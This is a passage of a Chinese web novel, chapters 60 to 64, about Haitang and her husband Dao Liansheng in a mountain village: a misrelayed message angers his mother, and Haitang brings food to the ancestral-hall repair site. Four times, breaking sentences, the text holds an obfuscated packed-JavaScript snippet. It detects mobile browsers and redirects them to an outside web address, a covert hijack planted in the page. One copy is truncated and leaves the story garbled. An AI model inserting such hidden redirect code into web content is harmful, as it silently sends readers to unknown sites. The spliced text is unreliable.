刀莲生伸手捡起来拿到灶台上磕了磕,砰砰的闷响,比早上烤得还糊。他把焦糊的外壳剥开,橘红色的瓤子一露脸,顿时一股香气扑鼻而来。他呼呼吹了两口后就大口吞下去半个红苕,扬脸,笑:“好吃。” 海棠笑嗔:“饿了啥都好吃。” 又说:“你出去吃,我要洗澡了,免得水冷了。” “嗯。” 刀莲生先到外头箩兜里提了个东西进来,是马灯,那灯防风又防雨。 他把马灯点着,把马灯挂在屋外墙上,就蹲在房檐下剥烤红薯吃。 海棠吹灭了灶台上的油灯,只借着门口的马灯的光线洗。 屋内昏昏昧昧。 条件不允许,没有香皂沐浴露,也没有洗发水,只能简单洗洗,涤荡一下身上的汗渍。 雨来得快,去得也快,变小了很多,雷声也渐行渐远。闪电只剩下余威,偶尔蹦跶一下,悄没声息地在天尽头灼烁出一道青白色的光,不再狰狞可怖。 他背对她蹲在门口,随着屋外的光亮由暗到明,他始终不曾动弹,连脖子都没转过半分。 他觉得昨日他母亲他妹妹,甚至是他,都有愧于她,于是他今日尽自己所能表达歉意。 海棠漫不经心的笑一下。 屋内寂静。 人在看不见的时候听觉就特别灵敏,一丝一厘的声音都逃不过。 水流声清越,穿衣声细碎,脚步声踢踢踏踏。 刀莲生知道海棠洗好了,她起身了,她在穿衣裳。 他拍拍手上沾染着草木灰和烤红薯的瓤子,正要站起身来,一条细软的手臂,随意地搭上了他裸露的肩。肌肤相触的瞬间,他几不可察的挺了下脊梁。 他闻到了她身上靠近的还带着水汽的温热气息,他全身绷紧了。 海棠俯下身:“我说让你想给我买什么就买什么,你竟自作主张直接就给我买了贴身内衣回来。”她的嘴唇贴在他耳畔,声音懒得像太阳底下的猫,“说说,你安的什么心?” 刀莲生:“……” 两人隔得近,她说话很轻,像咬着他耳朵在耳语。 刀莲生动了动蹲麻了的两条腿。 他想说给你做姨妈巾的棉布我都给你要过了,何况是女人贴身穿的小衣?但又不好意思,改说道:“没多的钱,只给你买得起便宜的衣裳。” 他进屋去了。 也是摸黑洗澡。 满满一桶水,他抹了裤子,脱得精光,然后毫不费力地把桶提起来,“哗啦”一声,直接把水从头淋到脚。 海棠立在门口,无声地笑了笑。 腹饱,不淋雨,有个憨男人疼,她感到惬意。 雨彻底停了,乌云散去,院里繁星满天。 天高云阔,他们来日方长。 60. 第 60 章 刀莲生把堂屋火塘里的火升起来,方便海棠烘干她的长发。 两人围坐在火塘边,刀莲生把木板找齐,拿在手里比划,在想法怎么把砸烂了的脚盆重新箍起来。 海棠看着他拧着浓眉一脸苦恼的样子就暗自叹气。 一个,一天到晚得空就给家里修修补补,一个性子一上来,眼也不眨的就能把好好的东西、还是家里唯一一个脚盆砸烂了。这破坏的速度,他再勤劳也没法赶上。 海棠把垂在眼帘前的头发拨开,看了看刀莲生脚旁摆的木板子,啧一声,“没一块好木板了,都给砸成碎屑了,补都没法补。勉强补好了也会漏水的,别白费功夫了。” “嗯。木头的东西用得久了都是这样的,容易朽烂。”他倒是看得开,语气也平和。 海棠也就按捺下了要腹诽刀莲荷几句的心思,另问他道:“重新做个脚盆要花多久的时间?” “先要去砍树,还要切割木头。脚盆用料大,家里的工具小了,只能慢慢切割,我估摸着得四五天才做得出来,所以最好是能修。” 海棠看他把木板上砸坏的地方用手去扣了下,结果一扣就扣下来一大块,摇头,“里面也朽烂了,修不好了。” “嗯。” “算了,丢火塘里当柴禾烧吧,你另做个新的。顺便,给我做块搓衣板。要长约五十公分,宽三十公分,厚度五公分以上就成了。做大点,用久些。” 刀莲生又嗯了声,但还是没放下那几块木料,舍不得。 海棠不知道料理木料可没料理竹子那么简单。光是找棵质地坚硬的树种都作难,还得要树龄长的,切割出来的板材才有用。另外,最重要的是,要用到生漆。木质的家具做出来后都要刷漆,反腐防虫蛀,隔水防朽烂。算上做生漆的时间,这个脚盆要花一个月的时间了。 刀莲生看看那破脚盆确实修补无望,把木板重新抱到外面堆在墙根下。 进屋来他烧了一筒烟。 作难和心里想事情的时候他就爱抱着烟筒抽一会儿。 时辰不早了,白氏和女儿们回来了。 白氏看见儿子,也有些奇怪,“你今天没去赶集吗?是不是白天发生了什么事?” 白氏早上出门的,晚上夜深了才回来,是以这样问。 “去了的。我回得早。” “这么快就回了?” “嗯。” 白氏没再说什么,走到门后把自己那双木屐提在手里就要往外走。 只海棠一听婆婆问起白天发生了什么事,这才想起来白天有人来找过丈夫的事情,忙把刀芦生来家里寻他的事情给刀莲生说了,“芦生说他爹要找你商量修缮祠堂的事情,让你得空就去家里一趟。” 刀莲生愣了愣,迷惑地看着她。 白氏正拿了木屐和洗脸帕要去灶屋洗漱,听到这话回身来问海棠道:“你刚才说谁的爹?” 白氏口气不善,脸色也不好,海棠见状,一下竟给她问住了,心头慌了下,把当时的情况再回忆了一遍,“下午有个自称叫刀芦生的小伙子来找莲生,他说他爹叫莲生回来后就去他家商量……” 话未说完,白氏将手里的木屐就往她身上砸来,厉声道:“你说的什么鬼话!” 海棠跳起来往旁边堪堪躲过,心有余悸地往刀莲生那边看。 两个人隔着火塘面对面坐着的。 此时刀莲生已经站起了身,他微微蹙着眉头把掉在一旁的木屐扫眼了眼,才看向海棠道:“你是不是听岔了?芦生爹已经死了有五六年了,他怎么可能说是他爹说的这话?” “啊?” 海棠脊背沁出一层冷汗。 别说婆婆发怒了,自己想想刚才说的话,也觉得瘆人得慌。 她忙再次回忆刀芦生说的话,赶紧解释道:“我想起来了,芦生当时说的是他爷。他说,他爷叫他来跟莲生哥说,得空去家一趟,商量修祠堂的事情。你们这里,爷不是爹的意思吗?我还以为你们这里喊爹就是喊爷来着……” 她想说在现代她看很多古装电视剧,一家之主若是年富力强的中年人,下人和家人不都是称“爷”的嘛? 那刀芦生只单说了“爷”字,她便以为对方口中的爷定然是个中年男子。然后自动代入那人是芦生的爹。 枉她还刻意说的是“爹”而不是“爸爸”呢,就怕她胡乱翻译得人家听不懂。谁知道反而弄巧成拙了。 刀莲生安抚地盯了她一眼,“芦生说的是他的爷爷。”转开脸向白氏道:“娘,我这就去芦生家一趟。” 白氏嘱咐他路上小心,莲生嗯了声,提着点亮的马灯走了。 白氏回头狠狠把海棠剜了眼,一声叹气,脸脚也没心思洗了。走到八仙桌,把桌上把倒扣的茶碗翻了一个出来,又从桌子下面的小抽屉里翻出茶叶罐子,提了铜壶倒了开水泡了碗酽茶,一边喝,一边坐等儿子回来。老脸拉得老长了,沉得能滴出水来。 两个女儿躲到灶屋去了,迟迟不回堂屋。 堂屋便只海棠跟婆婆两个,气氛压抑得她大气都不敢出一口。 虽然自知提到死人肯定让人不高兴,但是像婆婆这样大动干戈,海棠还是第一回遇到。 好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14512109|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,刀莲生作为家里的顶梁柱,她说死人喊他去谈事情,确实太晦气了。婆婆生气发火是正常的,拿木屐砸她,她也是活该的。 海棠明白这回是自己犯了大错,追悔莫及,只能尽量减少存在感。趁着婆婆喝茶的功夫,摸出堂屋,蹲屋檐下默默等着莲生回来。 小半个时辰后男人回来了。 “莲生!”海棠如见救星,忙站起身来。 蹲得太久,起身又太急,脚才跨出去,发麻的感觉席卷全身,她身子一软就往前栽去。 刀莲生脚下生风,几步跑过来将她接住,才没叫她栽到院坝里吃个嘴啃泥。 海棠攀着他肩膀讪讪:“腿麻了。谢谢你啊。” 白氏在屋里唤儿子。 刀莲生等她能站稳了才松开手,没说什么,答应了声母亲,进堂屋去了。 海棠立在外头听母子交谈。 白氏问:“刀本堂叫你去,跟你讲了啥?” “就是商量修祠堂的事情。”刀莲生说。 “哦。”白氏的语气听不出来好坏。顿了下,海棠听到婆婆又问:“什么时候去?” “叔公让我后天去。”刀莲生进屋后,就坐到了母亲对面。 白氏给他也倒了碗茶。 海棠听见婆婆压着火咕哝了句,“你那媳妇儿,传个话都能传得乱七八糟,你得教训下她。” 海棠:“……” 海棠努力竖起耳朵,好像听到刀莲生回了句,“我省得。” 白氏哼了声,沉默了会儿,然后有些不高兴地道:“每次寨子里下力气的活儿都叫你去。虽说会管你吃喝,可是那点吃喝又不能往家里带。再说,寨子里的男人都死光了吗?那刀本堂回回都找你!他那寨佬做得一点都不好,碧约寨中那么多后生,一碗水不端平,厚此薄彼!枉他还是我们刀家的本家人,对你可比对其他外姓人还不亲厚!” 刀莲生说:“娘,本堂说年纪大了,又被头人压制权利,从中挑拨离间,他已有些指使不动外姓人了,你又不是不知道。而且撇开这事不谈,他也为我们争取了不少利益啊。若非叔公在那顶着压力,头人去年就要加我们的赋税了。” 白氏叹口气,“是你心善,总把人家给的蝇头小利放大。” “事实本也如此。”刀莲生又说,“哦,对,叔公说这回出了工就不用出粮了。” 白氏这才高兴起来,“这样就好。就是要这样嘛,不能白出力气。每次寨里办大事,家家户户都要出两斤粮食,那公仓只怕都装不下了,白白喂肥了老鼠。两斤粮食省下来,咱们能吃七八日呢。” 61. 第 61 章 海棠因为传错了话,白氏在儿媳妇面前重新变得强势起来,且也对海棠更没好脸色了,寻到点错处就敲打她。 海棠不敢像以往那般随性顶嘴了,毕竟她这次说了晦气的话,而且还关系到自己的丈夫。 就像这天早上,刀家一家子起床,莲叶要去做早饭,白氏看海棠还没出来,把女儿喊住,“去把那个懒婆娘喊起来做饭。我们家不是请了一尊女菩萨回来供着的!” 海棠在卧房听见了婆婆的叱骂,不由得叹气。 当初不准我碰灶头的是你,现在说我懒得不做饭的也是你,婆婆,你怎么这么难伺候? 海棠伏低做小,不用刀家人来喊,把发辫快速编后好就掀帘子出去了,“莲叶,你把食材给我,早饭我来做吧。” 做饭有什么难的?柴火灶她已经用得得心应手,难的是没啥食材。 所谓巧妇也难为无米之炊啊。 莲叶只给她舀了一碗粉状的颗粒,海棠只好依葫芦画瓢,把这碗不知什么粮食磨出来的粗粉熬成一锅粥样,便是一家子的饭食了。 莲叶悄悄地好心地给海棠提醒,“嫂子,我们家忌讳说到死人的事,还有鬼啊,病啊这些,都不要讲。尤其在是娘和哥哥面前。” “我记住了,谢谢你啊莲叶。” 小姑娘害羞地咬了下小嘴儿。 只海棠心里有些奇怪,死人和鬼怪也就罢了,限于人的认知局限性,有些人会害怕是人之常情,只是怎么连“病”都说不得了?人吃五谷杂娘,焉能不生病的? 海棠随口开玩笑道:“你姐姐怕不怕?在她面前可以说吗?” “姐姐和我都没关系。姐姐背地里还要跟我说这些呢,她老是编些骇人的死鬼的故事吓唬我。” “那你哥哥呢?他也害怕吗?就是人家说到死人,鬼,和生病这些?” 莲叶开始闪烁其词,“嗯,哥哥他,……嗯,娘和堂伯娘说哥哥撞到过不干净的东西……” 海棠越发奇怪了,“怎么撞到不干净的东西这事儿是娘和堂伯娘嘴里说出来的?难道不是你哥亲口说的吗?” 莲叶白着小脸直摇手,“不讲了不讲了。” 海棠看小姑子貌似很害怕的样子,便也就不再追问。 也不是什么大事,估计就是两个老太太之间传来传去的迷信思想罢了。 既然这是家里的禁忌话题,海棠也就没去问刀莲生,省得把莲叶出卖了。 这事儿很快翻了篇儿。 过了两天,刀莲生带上铁錾子和铁锤,因说是寨佬想把祠堂前面的平坝子硬化了,全部铺上石块,方便大家跪拜,所以他就带了敲石头的工具,又挑了一双烂箩筐,和着寨子里其他被挑选到的汉子一起,一大早就出发,修缮寨里那座历经了百年风雨的祠堂去了。 晌午饭过后不及,隔壁的田凤兰来唤海棠一起去给丈夫送饭。 “不是说祠堂要管男人的饭吗?”海棠奇怪道。 田凤兰道:“嗐,那管的啥饭哟?老是一大碗红苕稀饭,搭一勺干咸菜就了事,油水都见不着一点。男人下那大的力气,吃这些怎么管饱?我家德生每次去出力,回来都喊饿。我婆婆说了这次要打石头,让我无论如何把家里好东西弄些送去给他吃。” 海棠不知道情况是这样的,她完全没准备。而且婆婆也没给她提醒过。 海棠不便在外人面前说婆婆的是非,另好奇问道:“那你给丈夫都准备了啥好吃的?” 田凤兰掀开竹篮子上面盖着的蓝花布,展示给她看。 海棠伸头,只见篮子里面搁了一碗白米饭,饭上面是好几大块蒜苗炒的腊肉。 妈呀,竟然有肉吃。 那腊肉油汪汪的,亮晶晶的,瞧得海棠自己看得都快要流口水了。 来山里这些日子,她油水都没吃过两回,何况是肉?除开今天,她根本是连肉末都没见着一眼啊! “我不知道他们吃得不好,所以没给莲生准备啊。” “那算了,我只好一个人去了。” 悻悻地送走了田凤兰,海棠觉得羞愧。 人家男人的妻子能想得这么周到,她却一点想不到自己男人在外头吃不好,也吃不饱。 海棠去灶屋翻看了下,连口剩汤都没有。 想到刀莲生的确是带了錾子和铁锤去的,那是打石头的工具。打石头是很费力气的。 那男人一天到晚那么苦,家里苦了,还要到外头去苦。如果他看到田凤兰给她丈夫送吃的,他心里定然又羡慕又失望的吧? 海棠越想越难过,就拿了个筲箕去后坡竹林,揭开盖在地窖上面的石板,滑下去拣了五六个红苕回来蒸熟。 又把她和莲叶做的干笋子抓了好几大把,用温开水醒发了。 猪油是别想了。婆婆锁在楼上米柜里的,她可不敢去撬锁拿油。但是,刀莲生之前去油坊做工,带回来的那一斤菜籽油却放在碗柜里,并没有被婆婆收藏起来。盐巴也有。 海棠便用菜籽油和盐巴炒了一小筲箕竹笋。有油有盐,笋子喷香。 炒好的竹笋装在一个陶罐里,装得满满的。那么多,足够下三碗毛干饭了,可惜家里没有大白米煮给男人吃。 人家有肉有白米干饭,她能拿出来的就只有炒竹笋和蒸红苕。不过,聊胜于无吧。毕竟,真的,巧妇也难为无米之炊啊。 海棠把陶罐盖上盖子保温。和着蒸熟的红苕一起,放在一个竹篮里,外头也用块蓝布盖着,像田凤兰那样。 然后海棠就提着篮子,一路询问,往祠堂方向找了过去。 据说寨子里那座祠堂有上百年的历史了,这么老,因此每年都要修缮一两回的。 这祠堂其实算不上实质意义上的祠堂。 汉人的祠堂是同族同宗的宗庙。碧约寨的这个祠堂,就是个寨子里专门用来祭祀的地方,类似于庙宇。 山里的窝尼人最早的时候取名字很随意,又盛行过一段时间的父子连名制,意即父名的最后一个字或两个字是孩子名字的开头那个字。以至于汉人官员往往无法从姓名上区分这些人的宗族姻亲关系。为方便管理,朝廷派人来教化。汉化之后,山里人很多传统习惯逐渐改变。就取名一项来说,同宗同源的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14533988|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窝尼人,开始按照寨子为单位确定一个姓氏,寨子里的原住民都姓这个姓。比如碧约寨的原住民都姓刀,白宏寨的人姓白,米嵩寨人姓高,岩子寨人姓黄等等,另外还有赵、李、龙、范、田等姓氏。 然后山里人也学着汉人一样,修建了祠堂。 里头供奉本寨子的祖先、崇拜的先贤,也供奉本族人信仰的神灵。所以,祠堂更像是个庙宇。 一些特殊的日子里,在头人和寨佬的带领下,全寨人前来祭祀,供奉粮食蔬果,祈福禳灾。比如春播前,都要祈求各路神灵,山神树神,雨神风神,求神仙们保佑碧约寨风调雨顺,五谷丰登。过年的时候,则祈求祖先和先贤保佑后世子孙平安康健,族人繁荣昌盛,国泰民安。 修缮祠堂做工的人选由寨佬挑,点到谁就是谁。 碧约寨的寨佬叫刀本堂,今年七十了,是个德高望重的老头子。 因为是造福全寨的人,因此被点名的人不好推辞,也没钱拿,只管饭。 接连几天暴晒,田坎上裂了口。梯田蜿蜒盘旋,一路往下。右边是顶天的山,左边是一个小山包包。 阳光刺眼,海棠手上提着篮子,转过小山包,再接连爬了十几步台阶,最后再转了一道弯,寨子里那座百年老祠堂就出现在视野里了。 破旧的祠堂外面是一块面积很大的平坝子,全是泥地,边上堆着小山一般打碎的石块,和一些其他修缮材料,木料、谷草、竹子等等。几个光膀子的汉子,在房檐下,背靠泥墙在地上坐了一排。有的捧着水烟筒,有的眯着眼。眯眼的在困觉,醒着的吆五喝六地吹牛聊天,讲些荤段子。 这些人可能是才吃过晌午饭,都在稍事休息,海棠没看见干活儿的男人。 她提着篮子走近,房檐下的汉子都不约而同停止了说话,神色莫测地静静地把她看着。 为首一个男人,顶着个癞痢头,从地上一窜而起,吆喝:“哟,阿妹,你给谁送饭呐?”他那双浑浊的肉泡眼,先是扫过海棠挽在手臂上的竹篮,再一路往下,朝不该看的地方乱瞟。 海棠入乡随俗,现在基本上都是穿的从田凤兰那里换来的窝尼家女人的衣服裤子。 今日这一身,靛蓝色的右斜开襟短上衣,搭配七分大筒裤。光着一双小巧白皙的天足,踩着木屐。 只是,说是七分长短的大筒裤,田凤兰比她矮了一个头,穿在田凤兰身上的七分裤,穿在海棠身上,就几乎变成了五分裤。因而,那裤筒下面就露出了她的小腿,笔直、皙白。 癞痢头往她好看的小腿上看了又看。 不过,她今日没梳大辫子,她开始学着梳窝尼家妇女的头发。 就像现在,发辫挽向前额之上做成瓦楞形,然后用一块靛青色土布包头从前额覆着发髻,后垂至半背——长发挽起来盘在头上,代表她是嫁了人的已婚妇人了。 癞痢头看她的发型就知道她是有丈夫的,没敢太放肆。 他抹了一把脸上的浊汗,涎着脸:“说嘛,你男人是哪个嘛?还不好意思是怎的?我帮你去找他。你看这太阳大得,你要是晒晕了可不好办呐。” 62. 第 62 章 算起来,来碧约寨不到两个月,除开那次到寨神林去看热闹,海棠今日算是第二次在公众面前露面,是以这祠堂里的男人们大都不认识她。 当时刀莲生娶媳妇也低调,白氏没有请亲族来家吃席面,不是嫌弃聘的儿媳妇是个二嫁女人,主要还是因为家里太穷了,她为儿子操办不起婚宴。 娶个媳妇几乎倾家荡产啊,剩下的只能走点简单的流程,便是牵了骡子去傅家,然后引个女人回刀家罢了。是以,到现在,寨子里一大半的人都还不知道刀莲生有媳妇了呢,更别说见过他的女人。 晌午时分,日头射出灼人的光焰。 那癞痢头的热情像头顶上的大太阳一样过了度,海棠有分寸,怕沾上身,便没接话,眼睛从墙根下坐地上的那一溜汉子身上扫过,没看见自己丈夫。 天气太大,男人在躁热之下,更轻浮。 海棠的不理不睬,那癞痢头也不觉得没面子,抠了两下头上的头癣,讪讪笑了下。笑过之后,他坐回去,附耳对旁边一个身穿粗麻蓝布衣裳的男人悄悄说了句话。边说,边嬉皮笑脸地往海棠这边瞟。 蓝衣服的男人本来在眯瞌睡,被打搅,皱着眉头张开眼来,看到海棠,脸上明显怔了下,然后目光在海棠脸上黏了几息,又扫过她外露的小腿和趿拉着木屐的玉足,方才幽幽把眼睛转开了。 海棠在外面没找到刀莲生,将手臂上挎着的竹篮子放下来提在手上,抬腿便往祠堂里面走。 “那个,你,祠堂不许女人进的!”那穿粗麻蓝衣服的男人突然大声道。 太阳在棉花团一样的云朵里躲了下,很快就钻了出来,烤得人发躁。 他这一喊,其他几个打瞌睡的男人也都吵醒了,纷纷朝海棠看过来。 一群男的,精赤着上半身,袒胸露乳,视线火热,海棠很烦躁。 她不愿跟这群男人说话。 他们的目光没一个纯良的。 事情发展到这里,那癞痢头好像转了性子,他把他蓝衣服的男人推了一把,说:“傻大个儿,这一看她那细皮嫩肉的就知道是山外头来的女人啊。人家外来的阿妹不知道咱们寨子里的规矩,你不要这么凶嘛。” 嚷嚷了蓝衣服男人,癞痢头又蹿跳了起来,他狗腿一样小跑过来,对海棠笑嘻嘻道:“阿妹,这祠堂里头没啥好看的,就几尊泥塑菩萨,脸上嘴巴上扑了点白面和红泥,长得还没你的头发丝儿好看哩。听话,咱不进去了啊。” 海棠把颊边那缕乱飞的头发抹在耳后,“呵”的笑出声。 这个男人长得猥琐,但是劝人不进祠堂的方式方法还是蛮有趣的。 越是闭塞的穷山恶水之地,越是迷信。不进就不进,只外头看着一座烂房子,站门口看里头光线昏暗,黑乎乎的,想也知道没啥好看的。 里面悄没声儿,她男人也不大可能在里面。 大家都在外头休息,他不可能特立独行,不跟这些人打堆。 海棠便转身,看了看,打算走到房檐下另一头躲太阳。 那癞痢头见她放弃了进去祠堂的打算,把她又从头到脚一番打量,再看看她手里提的篮子,又热情地问了遍,“阿妹,你这是给人送饭?你到底来找谁的啊?” 海棠此刻对癞痢头有了点好感,愿意接腔了,“嗯。我来找我丈夫,给他送点吃的。”说着往房檐下走去。 他跟过来,追着问:“你丈夫是?” “刀莲生。他说他来这里修祠堂,不过我怎么没看见他?你知道他去哪儿了吗?” 癞痢头愣了下,随即叫唤起来,“哎呀呀,你就是莲生的媳妇儿啊?我可听说了你的!我刚才就在猜你是不是,可又觉得不太可能。莲生崽家跟俺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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海棠放下提篮,站起身朝铃铛声响起的地方看去,却只见一头脖子上拴着铃铛的骡子,慢悠悠地从祠堂边上一段斜坡路走下来。 刀癞子朝骡子跑去,抓住挽在骡背上的一段缰绳,将其拉到坝子里,然后栓在坝子边上一棵树干上长满了苔藓的不知名树上。 过了一阵,才又见斜坡路上有人拉着一辆装满了碎石块的板车小心翼翼地走下来。 拉板车的男人很打眼,高、壮,穿一身黑色对襟无袖麻布褂子和大筒裤,健康的肌肤被太阳晒得油光黑亮,头脸上溢出的汗珠反射着细碎的光泽。 背抵着板车辕子,两条粗壮的胳膊上挽着麻绳,手臂上肌肉偾张,拼命控着板车一点点往下滑。 那男人不是刀莲生是谁? 刀癞子拴好了骡子,又急忙跑过去,咬牙帮他稳着板车慢慢从斜坡上滑下来。 海棠也忙迎上去,虽然她手劲儿不大,但还是努力抓着车子边沿的横木。 车下来斜坡后,刀癞子叫海棠松手,他跑到车后面开始推车。海棠也学他,跑后面一起推。 三个人共同努力,刀莲生在前面拉,两人后在推,费了老大对劲儿终于将板车弄到了平坝子里。 板车停稳后,刀莲生长松了口气。他解开缠在手臂上的麻绳,转身又要把车上的石头卸下来,那刀癞子已经掌着两个木把手往天上一抬,板车朝后哗啦一倾,车上的碎石头腾着烟尘倾落在了地上。 刀莲生忙搭把手,和刀癞子一起把板车又往前拉了两三步,车上的石头便卸了个干净。 刀莲生向刀癞子道谢,海棠也称谢道:“癞子兄,你这人还怪好的咧。” 刀癞子正揽了刀莲生要说话,听到海棠道谢,顿时很不要意思,抓耳挠腮的:“嗐,谢啥哩?你夫妻两个太客气了,大家是族亲,甭客气。” 刀癞子好似承受不住,摆摆手跑了,重新跑到房檐下歇凉去了。 刀莲生摘下包头布,甩一把头发上淋漓的汗水,问海棠道:“你怎么来了?” “我听堂嫂说你们这里吃不饱,所以给你送点吃的来,让你填饱了肚子才好下力气。” 刀莲生没作声。 便是默认了这个说法。 海棠朝骡子努努嘴,“有骡子,怎么不用骡子拉石头呢?你傻的呀?” 男人回道:“是骡子拉的。只是这是段斜坡路,板车上又载满了石头,得有上千斤重。三四个男人在后面都不一定能拉住车,冲下来不得了,轻则把骡子伤到,重则能把畜生撞下山下去,所以每到到这里的时候就要用人力拉,好掌控下坡的速度。” “哦。” 刀莲生拿包头布把头脸上的汗水胡乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558557|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦拭了几下,便迈开大长腿往房檐下走去。 海棠则去把自己带来的那个竹篮提过来。 刀莲生走到角落里,地上有把大铜壶。他从旁边背篼里翻出个土碗来,然后提着铜壶往碗里倒满水。 海棠远远看着是茶水,褐色的茶汤,没热气。 估计是早上就泡好的冷茶。 壶也不放下,刀莲生端着碗仰头便灌下一大碗,然后又倒一碗,再次喝了个底朝天。 太渴了,嗓子干得冒烟儿,他喝得又急又快,茶水顺着脸上又流出来的热汗,淌过他一起一落的喉结。他左手撩起短衣胡乱抹一下,露出结实的小腹,和裤头上一小撮腹毛。 刀莲生正打算再倒一碗凉茶来喝,一双绑着木屐的玉足出现在他的视线下方。 是他给她做的木屐。 细细的麻绳缚在她的足踝上,露出鞋背的脚趾头圆润可爱,指甲干干净净。 顺着木屐而上,是一截皙白笔直的小腿。 刀莲生抬起手背擦擦嘴角,余光扫过去。 海棠手里挽着竹篮,长发都盘了起来,露出了修长的脖颈。 晌午炽烈的阳光打在她身上,她的小腿,她的额头和颈项,凡是裸露在外的肌肤都白得发光。 只是,她身后不远处,那群或坐或站或歪靠在墙上的黑黝黝汗津津的男人,个个虎视眈眈,目光都黏在他的女人身上。 64. 第 64 章 “你在看什么?”海棠问他。 “……没,没看什么。”刀莲生收回视线,皱着浓眉把手里的东西归置好,土碗放进背篼里,水壶搁地上。 然后把海棠手里的提篮接过来,随地而坐,很感兴趣地问:“你弄的啥吃的来?” 海棠也不隐瞒,嘴一扁,“咱家能有啥好吃的?蒸红苕、炒笋子。你吃吗?” “能填肚子就成。”刀莲生说着,就揭开了篮子上盖的布,先看见竹篮底部堆了小山一堆的蒸红薯,有些惊讶,失笑道:“你弄这么多?”难怪他提过来的时候觉得篮子沉。 “多吗?你这么大高个儿,就五六个而已,我还怕你吃不饱。” 他冲她咧嘴一笑,露出满口白牙,“才吃了晌午饭出去拉的最后一车石头,哪能饿得那么快?” 海棠说:“要是这一歇吃不完,你就留到晚上加餐。” 刀莲生嗯了声,已经徒手拿了根红苕吃起来了,苕皮也不剥。 你看他,嘴上说才吃了饭没有饿,可吃的时候却是迫不及待。 海棠见他坐台阶上,篮子就放在膝盖头,一手抱着篮子,一手啃着红苕,样子挺滑稽。 周围没桌椅凳子,不过这种地方也没好啥好讲究的。海棠把篮子提过来放地上,方便男人吃东西。 再递给他一双筷子,“你就着炒笋吃。” 海棠揭开瓦罐盖子,抱着陶罐伸过去。 刀莲生拿筷子夹了一大筷炒竹笋包进嘴里,大口嚼了几下就吞了下去,又夹一筷子竹笋,含糊道:“你放篮子里就成,别抱着。” 看着像是饿坏了。 她从背篼里把他刚才放进去的那个土碗翻出来,给他倒了碗凉茶搁在手边,免得吃太快噎到了。 海棠挨着他也在台阶上坐下来,默默看他片刻后就吃掉了一个蒸红苕,又拿了一个,这才放慢了吃东西的速度,才跟他闲话,“中午你也不休息一下吗?还跑出去拉石头。你看人家都晓得躲阴凉处歇个午觉。” 刀莲生顺着海棠的视线看去,那头屋檐下有人都扯起了震天介响的鼾。 他移开目光道:“早点把石头拉回来,大家好铺坝子,不然就要耽搁工夫了。” 海棠不悦:“拉石头的就你一个人吗?既然要急着铺地坝,就该多安排人手先把石头拉回来啊。这活儿分配得不合理,瞧那群人都闲着没事干呢。” 刀莲生低声,“大家都各有分工,没有闲着的。” 男人既要这样说,海棠也就不好说什么了。 只要他不是傻乎乎的一味蛮干就好。 要知道,这世上的人啊,最爱欺负老实人了。 接下来两人都有点沉默,海棠端起凉茶喝了两口,刀莲生就着炒竹笋吃着蒸红苕,眼睛盯着海棠那双脚。 她翘起了二郎腿,闲情逸致的模样。吊在半空的那只脚,木屐挂在她小巧的脚背上,脚尖儿在点头似的,俏皮地晃上晃下。 露出裤腿的小腿,白得像刚挖出来的鲜藕,真是又嫩又白。 世上怎么会有这么好看的女人的脚和腿? 这时候,海棠无意中侧过脸来,先发现刀莲生往她身上看,一副呆样子,正要笑话他一句,再就看见了他侧脸上热汗直淌,于是伸手把他搭在肩上的包头布拿过来,给他擦了擦脸上的汗水。 刀莲生一惊回神。 那边有人轻佻地吹起了口哨。 刀莲生臊得脸发烫。 众目睽睽下,他不愿跟海棠这么亲近,实在是不习惯。他的脸往旁边避了避,低声说:“你别这样……大家都看着呢。要不,你先回去了吧?”说罢,还把屁股往一旁挪了几公分远。 海棠觉得他这态度有趣儿,非得跟他亲近。 跟着坐过去,又拿帕子去擦他胸膛上的热汗。 刀莲生穿的对襟褂子,之前拉石头的时候他把布扣解开了,胸膛敞着。海棠这动作,简直就是在他身上点火。 刀莲生豁然站起了身,两道浓眉都耸到了一块儿去:“你赶紧回家去!”赶她走。 “行。不过你得告诉我你刚才在看我什么都看傻了?”海棠抿笑,“你回答了我,我立刻就走。” 刀莲生信以为真,但是那答案太难为情。 他抹一把脸,指缝中发现她要笑不笑地看着自己,其实她明显知道他在看什么吧?可她非要他亲口说出来。 皮肤黑的人看不出脸红没红,但他若无其事的表情已有些挂不住。 